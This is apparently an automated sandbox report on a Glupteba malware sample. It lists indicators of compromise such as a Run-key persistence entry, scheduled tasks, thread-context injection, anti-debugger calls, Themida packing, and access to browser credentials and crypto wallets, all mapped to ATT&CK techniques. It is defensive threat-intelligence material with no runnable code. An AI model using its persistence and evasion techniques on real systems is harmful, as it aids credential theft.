glupteba | 90aa6a7c770f2c0f49596731c80fda7d044802dea9e905ff999b39cda5428407

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5899289.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5899289.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	802260.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	802260.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	7383144.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	7383144.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2129644.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2129644.exe

Loads dropped DLL 11 IoCs

pid	Process
4728	setup_install.exe
4728	setup_install.exe
4728	setup_install.exe
4728	setup_install.exe
4728	setup_install.exe
4728	setup_install.exe
4620	Tue11b9d76a96506.tmp
5136	setup_2.tmp
5472	setup_2.tmp
5660	rundll32.exe
3488	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x000400000002b1d6-370.dat	themida
behavioral2/files/0x000400000002b1d6-378.dat	themida
behavioral2/files/0x000300000002b1dc-427.dat	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	4644938.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	802260.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	7383144.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2129644.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	5899289.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
35	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3256	7383144.exe
3176	5899289.exe

Suspicious use of SetThreadContext 64 IoCs

description	pid	Process	procid_target
PID 452 set thread context of 4292	452	Tue11e4e580f2e8141a3.exe	106
PID 452 set thread context of 3092	452	Tue11e4e580f2e8141a3.exe	114
PID 452 set thread context of 1444	452	Tue11e4e580f2e8141a3.exe	115
PID 452 set thread context of 4060	452	Tue11e4e580f2e8141a3.exe	117
PID 452 set thread context of 4972	452	Tue11e4e580f2e8141a3.exe	120
PID 452 set thread context of 4780	452	Tue11e4e580f2e8141a3.exe	122
PID 452 set thread context of 2896	452	Tue11e4e580f2e8141a3.exe	125
PID 452 set thread context of 3936	452	Tue11e4e580f2e8141a3.exe	134
PID 452 set thread context of 5164	452	Tue11e4e580f2e8141a3.exe	146
PID 452 set thread context of 5624	452	Tue11e4e580f2e8141a3.exe	154
PID 452 set thread context of 2472	452	Tue11e4e580f2e8141a3.exe	166
PID 452 set thread context of 4732	452	Tue11e4e580f2e8141a3.exe	171
PID 452 set thread context of 2112	452	Tue11e4e580f2e8141a3.exe	177
PID 452 set thread context of 5456	452	Tue11e4e580f2e8141a3.exe	182
PID 452 set thread context of 3436	452	Tue11e4e580f2e8141a3.exe	185
PID 452 set thread context of 3168	452	Tue11e4e580f2e8141a3.exe	188
PID 452 set thread context of 980	452	Tue11e4e580f2e8141a3.exe	197
PID 452 set thread context of 2936	452	Tue11e4e580f2e8141a3.exe	198
PID 452 set thread context of 4408	452	Tue11e4e580f2e8141a3.exe	199
PID 452 set thread context of 876	452	Tue11e4e580f2e8141a3.exe	200
PID 452 set thread context of 5980	452	Tue11e4e580f2e8141a3.exe	203
PID 452 set thread context of 2288	452	Tue11e4e580f2e8141a3.exe	208
PID 452 set thread context of 4984	452	Tue11e4e580f2e8141a3.exe	209
PID 4112 set thread context of 4144	4112	services64.exe	219
PID 452 set thread context of 2892	452	Tue11e4e580f2e8141a3.exe	214
PID 452 set thread context of 1488	452	Tue11e4e580f2e8141a3.exe	220
PID 452 set thread context of 3240	452	Tue11e4e580f2e8141a3.exe	221
PID 452 set thread context of 4512	452	Tue11e4e580f2e8141a3.exe	223
PID 452 set thread context of 5576	452	Tue11e4e580f2e8141a3.exe	224
PID 452 set thread context of 5004	452	Tue11e4e580f2e8141a3.exe	226
PID 452 set thread context of 5472	452	Tue11e4e580f2e8141a3.exe	227
PID 452 set thread context of 5860	452	Tue11e4e580f2e8141a3.exe	228
PID 452 set thread context of 776	452	Tue11e4e580f2e8141a3.exe	229
PID 452 set thread context of 404	452	Tue11e4e580f2e8141a3.exe	230
PID 452 set thread context of 3496	452	Tue11e4e580f2e8141a3.exe	231
PID 452 set thread context of 5328	452	Tue11e4e580f2e8141a3.exe	232
PID 452 set thread context of 5568	452	Tue11e4e580f2e8141a3.exe	233
PID 452 set thread context of 3548	452	Tue11e4e580f2e8141a3.exe	234
PID 452 set thread context of 5092	452	Tue11e4e580f2e8141a3.exe	235
PID 452 set thread context of 5888	452	Tue11e4e580f2e8141a3.exe	236
PID 452 set thread context of 5868	452	Tue11e4e580f2e8141a3.exe	238
PID 452 set thread context of 3912	452	Tue11e4e580f2e8141a3.exe	242
PID 452 set thread context of 2876	452	Tue11e4e580f2e8141a3.exe	243
PID 452 set thread context of 228	452	Tue11e4e580f2e8141a3.exe	244
PID 452 set thread context of 3264	452	Tue11e4e580f2e8141a3.exe	245
PID 452 set thread context of 2928	452	Tue11e4e580f2e8141a3.exe	246
PID 452 set thread context of 5372	452	Tue11e4e580f2e8141a3.exe	247
PID 452 set thread context of 4268	452	Tue11e4e580f2e8141a3.exe	248
PID 452 set thread context of 5368	452	Tue11e4e580f2e8141a3.exe	249
PID 452 set thread context of 5208	452	Tue11e4e580f2e8141a3.exe	250
PID 452 set thread context of 2792	452	Tue11e4e580f2e8141a3.exe	252
PID 452 set thread context of 800	452	Tue11e4e580f2e8141a3.exe	253
PID 452 set thread context of 5400	452	Tue11e4e580f2e8141a3.exe	255
PID 452 set thread context of 4528	452	Tue11e4e580f2e8141a3.exe	256
PID 452 set thread context of 3952	452	Tue11e4e580f2e8141a3.exe	257
PID 452 set thread context of 5140	452	Tue11e4e580f2e8141a3.exe	258
PID 452 set thread context of 4344	452	Tue11e4e580f2e8141a3.exe	259
PID 452 set thread context of 1208	452	Tue11e4e580f2e8141a3.exe	260
PID 452 set thread context of 3948	452	Tue11e4e580f2e8141a3.exe	263
PID 452 set thread context of 2548	452	Tue11e4e580f2e8141a3.exe	266
PID 452 set thread context of 5564	452	Tue11e4e580f2e8141a3.exe	267
PID 452 set thread context of 444	452	Tue11e4e580f2e8141a3.exe	268
PID 452 set thread context of 5656	452	Tue11e4e580f2e8141a3.exe	269
PID 452 set thread context of 4872	452	Tue11e4e580f2e8141a3.exe	271

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-T48TA.tmp	setup_2.tmp
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 21 IoCs

pid	pid_target	Process	procid_target
4672	1016	WerFault.exe	98
1848	4632	WerFault.exe	103
3532	4588	WerFault.exe	102
4304	4728	WerFault.exe	79
4808	4780	WerFault.exe	122
560	1148	WerFault.exe	95
6068	4028	WerFault.exe	139
5964	5660	WerFault.exe	155
5844	2892	WerFault.exe	137
2528	3560	WerFault.exe	123
5676	6020	WerFault.exe	162
4056	3488	WerFault.exe	179
1452	4896	WerFault.exe	143
5968	5588	WerFault.exe	153
3592	1204	WerFault.exe	174
6100	5980	WerFault.exe	203
1432	5888	WerFault.exe	236
4948	4344	WerFault.exe	259
2528	4304	WerFault.exe	290
2852	5228	WerFault.exe	304
5548	5184	WerFault.exe	337

Checks processor information in registry 2 TTPs 64 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
4020	schtasks.exe
4868	schtasks.exe

Enumerates system info in registry 2 TTPs 42 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Modifies data under HKEY_USERS 58 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	sihclient.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	sihclient.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	sihclient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	sihclient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	sihclient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "73"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	sihclient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	sihclient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	sihclient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	sihclient.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache\7\52C64B7E	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	sihclient.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	sihclient.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3872	powershell.exe
3872	powershell.exe
3532	WerFault.exe
3532	WerFault.exe
4672	WerFault.exe
4672	WerFault.exe
1848	WerFault.exe
1848	WerFault.exe
3872	powershell.exe
4304	WerFault.exe
4304	WerFault.exe
4808	WerFault.exe
4808	WerFault.exe
560	WerFault.exe
560	WerFault.exe
5844	WerFault.exe
5844	WerFault.exe
5964	WerFault.exe
5964	WerFault.exe
3560	3402997.exe
3560	3402997.exe
6068	WerFault.exe
6068	WerFault.exe
5472	setup_2.tmp
5472	setup_2.tmp
2528	WerFault.exe
2528	WerFault.exe
5676	WerFault.exe
5676	WerFault.exe
4056	WerFault.exe
4056	WerFault.exe
4896	8470279.exe
4896	8470279.exe
5588	1562203.exe
5588	1562203.exe
1452	WerFault.exe
1452	WerFault.exe
5968	WerFault.exe
5968	WerFault.exe
1204	1580734.exe
1204	1580734.exe
4788	802260.exe
